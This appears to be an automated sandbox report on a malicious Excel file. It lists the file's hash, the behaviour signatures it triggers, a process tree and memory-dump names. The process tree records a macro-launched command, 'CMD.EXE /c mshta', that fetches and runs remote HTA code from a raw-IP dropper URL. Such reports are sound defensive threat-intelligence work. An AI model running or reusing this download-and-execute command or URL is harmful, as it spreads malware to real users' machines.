Analysis
- max time kernel
136s - max time network
163s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
28/01/2022, 16:52
General
- Target tmpwtg1g9r1.xls
- Size 85KB
- Sample220128-vdfxfsggbr
- SHA256 a6e9475569b86e7cba8b862f69c335751e262b4a25fc38ddc7f03f0cd96d7f13
Malware Config
Extracted
-
hta
-
hta.dropper
http://91.240.118.172/gg/ff/fe.html
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpwtg1g9r1.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.172/gg/ff/fe.html3⤵
- Blocklisted process makes network request
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3276 -s 16284⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/3708-118-0x00007FFB83070000-0x00007FFB83080000-memory.dmp
memory/3708-119-0x00007FFB83070000-0x00007FFB83080000-memory.dmp
memory/3708-120-0x00007FFB83070000-0x00007FFB83080000-memory.dmp
memory/3708-121-0x00007FFB83070000-0x00007FFB83080000-memory.dmp
memory/3708-122-0x00007FFB83070000-0x00007FFB83080000-memory.dmp
memory/3708-131-0x00007FFB7FCD0000-0x00007FFB7FCE0000-memory.dmp
memory/3708-132-0x00007FFB7FCD0000-0x00007FFB7FCE0000-memory.dmp
memory/3708-298-0x00007FFB83070000-0x00007FFB83080000-memory.dmp
memory/3708-299-0x00007FFB83070000-0x00007FFB83080000-memory.dmp
memory/3708-300-0x00007FFB83070000-0x00007FFB83080000-memory.dmp
memory/3708-301-0x00007FFB83070000-0x00007FFB83080000-memory.dmp